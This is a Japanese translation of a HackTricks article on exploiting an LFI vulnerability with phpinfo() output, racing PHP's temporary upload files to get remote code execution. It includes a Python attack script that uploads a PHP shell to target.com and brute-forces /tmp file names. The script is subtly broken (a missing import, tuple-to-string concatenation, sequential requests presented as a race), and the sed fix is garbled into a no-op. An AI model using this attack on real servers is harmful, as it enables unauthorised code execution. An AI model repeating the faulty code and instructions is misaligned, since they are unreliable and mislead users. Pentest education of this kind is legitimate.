5.5 KiB
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたはHackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Family、当社の独占的なNFTsコレクションを発見する
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォロー**する。
- ハッキングトリックを共有するには、PRを HackTricksおよびHackTricks Cloud github リポジトリに提出してください。
この脆弱性を悪用するには、LFI脆弱性、phpinfo() が表示されるページ、"file_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込める必要があります。
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
この脆弱性を修正する必要があります(=> を => に変更)。修正するには、以下を実行できます:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
理論
PHPでアップロードが許可されており、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を完了するまで一時ディレクトリに保存され、その後一時ファイルは削除されます。
その後、WebサーバーでLFI脆弱性を見つけた場合、作成された一時ファイルの名前を推測して、サーバーがファイルを削除する前に一時ファイルにアクセスしてRCEを悪用することができます。
Windowsでは、ファイルは通常C:\Windows\temp\phpに保存されます。
Linuxでは、ファイルの名前は通常ランダムであり、/tmpにあります。名前がランダムであるため、一時ファイルの名前をどこかから抽出し、削除される前にアクセスする必要があります。これは、関数**"phpconfig()"のコンテンツ内の変数$_FILES**の値を読み取ることで行うことができます。
phpinfo()
PHPは4096Bのバッファを使用し、バッファがいっぱいになるとクライアントに送信されます。その後、クライアントは大きなヘッダーを使用して多くの大きなリクエストを送信し、phpリバースシェルをアップロードし、phpinfo()の最初の部分が返されるのを待ちます(ここに一時ファイルの名前が表示されます)、そしてLFI脆弱性を悪用してファイルが削除される前に一時ファイルにアクセスしようとします。
長さが6の場合に名前をブルートフォースしようとするPythonスクリプト
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmでフォロー**する。
- **ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。